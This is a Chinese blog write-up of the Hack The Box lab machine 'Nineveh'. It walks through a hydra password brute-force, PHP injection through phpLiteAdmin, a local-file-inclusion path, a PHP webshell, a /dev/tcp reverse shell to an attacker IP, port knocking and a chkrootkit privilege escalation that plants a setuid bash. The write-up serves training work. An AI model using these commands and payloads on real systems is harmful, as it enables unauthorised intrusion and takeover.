HTB-Nineveh

最新推荐文章于 2023-05-08 09:30:00 发布
最新推荐文章于 2023-05-08 09:30:00 发布
阅读量789 收藏
点赞数
分类专栏： HTB 文章标签： 其他
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_37370714/article/details/130374615
版权

HTB-Nineveh

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
目录扫描
在这里插入图片描述
/info.php目录
在这里插入图片描述

443端口

在这里插入图片描述

目录扫描
在这里插入图片描述
在这里插入图片描述
这完全没头绪，估计是信息收集漏了东西，重新来一遍。

80端口-新

哈，我就知道。
在这里插入图片描述
当我输入admin会发现抱错变成了密码不可用，说明admin用户存在。
在这里插入图片描述
在这里插入图片描述
没有任何提示，尝试一下hydra的暴力破解。

在这里插入图片描述
在这里插入图片描述

443端口-新

多了张图片secure_notes。
在这里插入图片描述
对443登录进行hydra暴力破解，hydra -l aster -P /usr/share/wordlists/rockyou.txt 10.10.10.43 -s 443 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:F=Incorrect password." -v -t 64在这里插入图片描述
在这里插入图片描述
这有一篇利用的文章，大致类容就是我们可以通过创建一个php后缀的数据库文件并插入php代码实现php代码执行。在这里插入图片描述根据描述来做一遍，首先创建一个新数据库。
在这里插入图片描述
接着创建一个表，字段选一个。
在这里插入图片描述
然后输入字段名，类型为TEXT，默认值为<?php phpinfo()?>。在这里插入图片描述

最后一步，需要我们运行它，但我们怎么运行它。创建完后可以返回查看更多信息。
在这里插入图片描述
比如数据库名，数据库路径，但是目前没有找到地方可以运行。
在这里插入图片描述
对两个端口分别做一次目录扫描看看。结果没有任何帮助，再次回头看80端口的department目录时候发现了引用notes的url路径有些可疑。
在这里插入图片描述
并且图片的路径也是。
在这里插入图片描述
怀疑可能存在LFI，测试输入ninevehNotes1.txt时出现了警告。
在这里插入图片描述
简单测试发现貌似url要包含files/ninevehNotes.txt才能够读取文件。
在这里插入图片描述
不包含就会这样。不会出现警告那些。
在这里插入图片描述
再次测试后更正前面的测试结果，url只需要包含files/ninevehNotes即可。
在这里插入图片描述
配合前面的数据库.php文件成功执行php代码。
在这里插入图片描述
现在有个问题如果我直接弄webshell，会遇到文件名长度限制。
在这里插入图片描述
所以需要优化一下LFI的payload，最终测试发现只用包含/ninevehNotes就可以，/ninevehNotes/../etc/passwd。
在这里插入图片描述

立足

使用cmd=id，会发现目标把它当成文件名来处理了。
在这里插入图片描述
可以用/ninevehNotes/../var/tmp/aster.php&cmd=id来避开这个问题(建立webshell的时候用双引号来定义webshell的key，比如<?php system($_REQUEST["cmd"]);?>，单引号会被转义导致webshell不可用)。
在这里插入图片描述
与运算符"&"会被当做浏览器参数所以需要url编码，bash -c "bash -i >%26 /dev/tcp/10.10.14.31/443 0>%261"。
在这里插入图片描述

www-data -> amrois

收集半天信息没有任何收获，只有在/var/www/ssl/secure_notes目录下有两个文件。
在这里插入图片描述
还有一个挑战。
在这里插入图片描述
所有线索都指向这张图片，对其使用strings发现了ssh的私钥以及公钥。
在这里插入图片描述

但是无法使用其登录amrois用户。binwalk表示nineveh.png还暗藏玄机。
在这里插入图片描述

加上-e参数分离。
在这里插入图片描述
又有许多东西，好好整理一下。
在这里插入图片描述
secret目录内的两个文件就是前面strings的ssh公钥私钥。
在这里插入图片描述

还有两个文件54和54.zlib暂时没有用处。在目标上查看进程发现了一个knockd。
在这里插入图片描述

knock是一个用来隐藏SSH的程序，客户端向服务端发送暗号对应上后才会从防火墙打开SSH服务器，断开后又会有新的暗号。查看一下knock的配置文件/etc/knockd.conf。
在这里插入图片描述
openSSH中的序列就是暗号，也就是序列中的那几个号码，暗号需要按照序列的顺序来核对。那么我们怎么敲门呢？先做个实验，直接nmap对方22端口显示被过滤。
在这里插入图片描述
这时候我们开始敲门对暗号：knock 10.10.10.43 571 290 911

在这里插入图片描述

这时候目标已经对我们敞开了大门（要想关闭的话反过来敲一次即可）在这里插入图片描述

amrois -> root

使用pspy查看时间任务的时候发现很忙的样子。
在这里插入图片描述
这一堆东西的结果似乎都指向了/report目录。
在这里插入图片描述
根据结果知道，可能那一堆东西在检查某些二进制程序是否收到感染、一些可能会有敏感日志的位置是否存在日志等。
在这里插入图片描述
但是这一分钟生成一次，文件大小还是27K，久而久之会很吃空间的，所以猜测可能root或者amrois会有一个时间任务来清理一次。
在这里插入图片描述
在这里插入图片描述
另外在pspy64跑出来的进程中中我还发现了chown amrois:amrois /report/report-23-04-27:06:14.txt
在这里插入图片描述
如果是amrois用户自己的时间任务为啥还要修改用户和用户组，可能是root，也可能是诱饵。里面还有两个经常使用的脚本。

  • /bin/bash /root/vulnScan.sh
  • /bin/sh /usr/bin/chkrootkit

在这里插入图片描述
/usr/bin/chkrootkit是一个检查rootkit的工具。当我使用bash尝试启动它时出现了Permission denied。
在这里插入图片描述
但是我用sh启动尝试启动它出现了/bin/sh: 0: Can’t open /usr/bin/chkrootkit。
在这里插入图片描述
对bash和sh进行检查发现，/bin/sh链接到dash。dash最主要的目的是为了执行脚本，语言语法没有其他shell多，但是它执行脚本快。dash和bash都没有权限执行chkrootkit。
在这里插入图片描述
是的，看起来似乎没有入口，似乎无懈可击。但是对chkrootkit进行exploit搜索会有两个结果。
在这里插入图片描述
条件都满足，唯一不确定的是chkrootkit的版本。
在这里插入图片描述
在tmp创建一个update，内容如下：

#!/bin/bash
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash

在这里插入图片描述
修改update权限为777后耐心等待。
在这里插入图片描述

其他有意思的地方

knock knock - Who’s there?

PS:（本人菜鸟一枚，可能错误地方非常之多，欢迎大家指出）
我很好奇knock是通过发送什么来与目标进行核对，tcp包？还是udp包?或者是其他有意思的玩意？
通过knock在/etc/knockd.conf配置文件中能看到它通过暗号后向防火墙添加规则的命令：start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
向防火墙插入一条规则(-I)，允许(-j ACCEPT)成功匹配暗号的IP(-s %IP%)发送tcp的数据包(-p tcp)到本地的22端口(--dport)。由于没有找到knock的源码（可能我忽略了什么），所以用我仅有的能力去逆向并尝试找到knock的关键。

knock向目标敲门的时候会发送hitting，表示正在敲门。
在这里插入图片描述
最先开始创建套接字，地址族为ai_family，套接字类型为SOCK_DGRAM(基于UDP)，使用缺省的连接方式连接。
在这里插入图片描述
然后进行判断是否socket成功。
在这里插入图片描述
接着在处理主机名和端口正确的情况下，根据我们选择TCP还是UDP。
在这里插入图片描述
v9会创建我们选择的TCP套接字或UDP套接字。经过对主机、口令验证检查后打印出来。接着就是调用connect函数进行TCP连接。通过socket对目标及端口进行knock。
在这里插入图片描述
发送完后就进行结束处理的环节，然后准备处理下一个暗号。
在这里插入图片描述
所以knock是通过向目标端口发送TCP/UDP包，目标的knock收到并做一些记录表示完成暗号配对。所以我们也可以通过nmap来向目标发送tcp包。在这里插入图片描述
倒着敲门关闭大门后nmap对22端口的tcp包已被过滤。
1
对目标进行TCP发包nmap -Pn -p 571,290,911 10.10.10.43（-Pn 跳过发送ICMP包的过程，也就是默认目标存活），但nmap会帮我们按照端口大小顺序排序后发送TCP SYN包，所以不能用这种办法。

在这里插入图片描述

将重新发包次数设置为0后再次尝试。for port in {571,290,911};do nmap -Pn --max-retries 0 -p $port 10.10.10.43;done

在这里插入图片描述
不知道knock会不会对敲门的时间进行判断，以防万一还是加上--host-timeout参数for port in {571,290,911};do nmap -Pn --max-retries 0 --host-timeout 100 -p $port 10.10.10.43;done。

但为什么nmap只用SYN包就能够完成一次TCP握手呢？首先大致看看TCP三次握手：

  1. 客户端第一次发送的SYN包给服务端表示来握手服务端收到
  2. 服务器收到后恢复ACK包给客户端表示可以，客户端收到后设置为单向和服务端连接
  3. 客户端向服务端发送SYN/ACK，服务端收到后设置为单向和客户端连接，此时TCP连接成功。

nmap 默认是SYN扫描，官方文档有写道。
在这里插入图片描述

而逆向所知道socket的类型是SOCK_STREAM ，是需要三次完全握手的，但如果我使用-sT全扫描，似乎knock并不接受三次握手。
在这里插入图片描述
至此，菜鸟的我对其分析结果如下：knock是以TCP SYN来对暗号，如果正确就返回ACK，不需要再次返回一次SYN/ACK，而只需要你问我答两次即可。

socket type

struct addrinfo结构体相关变量及其含义可以看看Stoneshen1211写的文章

enum sock_type {
SOCK_STREAM = 1,
SOCK_DGRAM = 2,
SOCK_RAW = 3, 
SOCK_RDM = 4, 
SOCK_SEQPACKET = 5, 
SOCK_DCCP = 6, 
SOCK_PACKET = 10,
};
永远是深夜有多好。
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
HTB靶场系列 linux靶机 Nineveh靶机
m0_57221101的博客
01-17 4440
勘探 nmap勘探 nmap -sC -sV 10.10.10.43 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 16:22 CST Nmap scan report for 10.10.10.43 Host is up (0.36s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http
HTB-Solutions
03-09
【标题】"HTB-Solutions" 提供的内容可能与网络安全平台 Hack The Box（HTB）有关，这通常指的是用户在该平台上完成的各种挑战的解决方案集。Hack The Box 是一个在线平台，让网络安全爱好者和专业人士可以通过解决...
htb-nineveh
m0_55772907的博客
09-19 246
htb
HTB靶机08-Nineveh-WP
灰蜗牛
05-08 683
HTB靶机08-Nineveh-WP 总体思路：端口扫描、Web扫描、弱口令爆破、漏洞利用，信息搜集，knock程序、SSH，chkrootkit
oscp——htb—— Nineveh
王嘟嘟的博客
08-05 409
0x00 前言 0x01 信息收集 0x02 过程 看到页面突然想起这个题之前应该是做过的。 这里全程可以参考这个 https://blog.csdn.net/qq_36869808/article/details/104094830
保护 SSH 的三把锁（增加黑客入侵的难度）
热门推荐
cnbird's blog
01-12 1万+
保护 SSH 的三把锁（增加黑客入侵的难度）
qos-htb-开源
05-03
qos-htb是您一直在等待的简单带宽管理解决方案，graphix制作了图表，您可以在一秒钟之内查看到底谁在消耗带宽！
xml-HTB-开源
05-02
xml-HTB是用于自动生成bash脚本的工具，该工具可在Linux上设置HTB。 它使用xml配置文件。 它易于使用，具有许多功能：多种深度的类，可配置的叶子，u32和fw过滤器，可同时配置两个输入
my-htb-tools3
03-19
my-htb-tools3
HTB-writeups:此仓库包含HackTheBox的文章
05-01
【标题】"HTB-writeups:此仓库包含HackTheBox的文章" 这个标题表明这是一个与网络安全相关的资源库，特别是关于HackTheBox（HTB）的挑战和机器的解决过程记录。HackTheBox是一个在线平台，允许安全专家和爱好者通过...
knockd - 敲敲門, 敲對了就開門
weixin_33910759的博客
09-18 811
FROM: http://jamyy.dyndns.org/blog/2010/08/2596.html目的: 使用 knockd 保護指定埠口 作法: 使用者連線前必須先依序 '敲擊' 指定埠號 (port knocking), knockd 才開放受到保護的埠口 環境: Fedora 10 安裝 knockd cd /tmp wget http://ww...
QT属性动画--设置样式属性(其他属性)
lizequan的博客
03-02 5425
这里写自定义目录标题故事背景遇到的问题解决过程最终方法感悟 故事背景   最近在制作一个按钮切换的动画特效中接触了属性动画这部分内容，并由此产生了一些思考。 遇到的问题 解决过程 最终方法 感悟 ...
Volatile的其他特性
我想月薪过万的博客
03-03 3936
2.1 volatile总体概览 在上一节中，我们已经研究完了volatile可以实现并发下共享变量的可见性，volatile除了保证可见性外，volatile还具备如下一些突出的特性： volatile的原子性问题：volatile不能保证原子性操作 禁止指令重排序：volatile可以防止指令重排序操作 2.2 volatile不保证原子性 2.3 代码测试 package Ls; /** * 目标：研究Volatile的原子性操作 * <p> * 基本观点：V.
【安卓基础】Android直接通过路径来操作其他应用的私有目录，可以吗？
m0_48179608的博客
03-02 7671
在上篇文章[【安卓基础】一文搞懂Android历代版本文件访问权限变化](https://blog.csdn.net/m0_48179608/article/details/122838494)我们对同一个应用的的文件访问权限做了比较。 那么不同应用之间文件访问又有什么限制呢？我们准备分二到三篇文件来阐述。 这篇文章，主要来看下不同系统版本下，我们直接通过路径来访问其它应用的**内部存储、外部存储私有目录**，看看能不能访问以及不同系统版本的区别。
Silane-PEG-NHS，SIL-PEG-NHS，可以用来修饰蛋白质、多肽以及其他活性基团，NHS-PEG-Silane
qq_39152602的博客
03-03 3581
英文名称：Silane-PEG-NHS 中文名称：硅烷-聚乙二醇-活性酯 分子量：1k，2k，3.4k，5k，10k，20k（可按需定制） 质量控制：95%+ 存储条件：-20°C，避光，避湿 用 途：仅供科研实验使用，不用于诊治 外观: 固体或粘性液体，取决于分子量 注意事项：取用一定要干燥，避免频繁的溶解和冻干 溶解性：溶于大部分有机溶剂，如：DCM、DMF、DMSO、THF等等。在水中有很好的溶解性 取用：现配现用，将包装从冰箱中取出，置于干燥器中缓慢升至室温，打开瓶盖，取用。取用.
[Golang]力扣Leetcode—中级算法—其他—两整数之和（位运算）
皮埃尔的博客
03-03 2897
[Golang]力扣Leetcode—中级算法—其他—两整数之和（位运算）
【独家首发】基于蜣螂优化算法DBO-GMDH的风电数据回归预测研究Matlab实现.rar
最新发布
08-14
【独家首发】基于蜣螂优化算法DBO-GMDH的风电数据回归预测研究Matlab实现.rar
深度探索：神经网络在图像识别中的革命性应用
08-14
神经网络是一种受人脑结构启发的数学模型，它由大量的节点（或称为“神经元”）相互连接构成。这些节点通常组织成层，包括输入层、隐藏层和输出层。每个神经元可以接收来自前一层的输入，通过某种激活函数处理这些输入，然后将结果传递给下一层的神经元。 神经网络能够通过学习大量的数据来识别模式和特征，这使得它们在图像识别、语音识别、自然语言处理等领域有着广泛的应用。它们也可以用于预测、分类和回归等任务。 训练神经网络通常涉及到一个称为“反向传播”的过程，通过这个过程，网络可以调整其内部参数（权重和偏置），以便更好地完成特定的任务。这个过程通常需要大量的计算资源，并且伴随着梯度下降或其他优化算法来最小化损失函数，从而提高模型的性能。 随着深度学习技术的发展，神经网络变得更加复杂和强大，出现了各种类型的网络结构，比如卷积神经网络（CNNs）用于图像处理，循环神经网络（RNNs）用于序列数据，以及长短期记忆网络（LSTMs）等。
format htb
08-24
HTB is an abbreviation for Hack The Box, which is an online platform that provides hands-on penetration testing and hacking challenges. It allows users to simulate real-world cybersecurity scenarios and practice their skills in a safe and controlled environment. The format of HTB typically involves a series of machines or challenges that users need to exploit to gain root access or find flags. Participants can use various tools and techniques to solve the challenges and improve their knowledge of cybersecurity.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值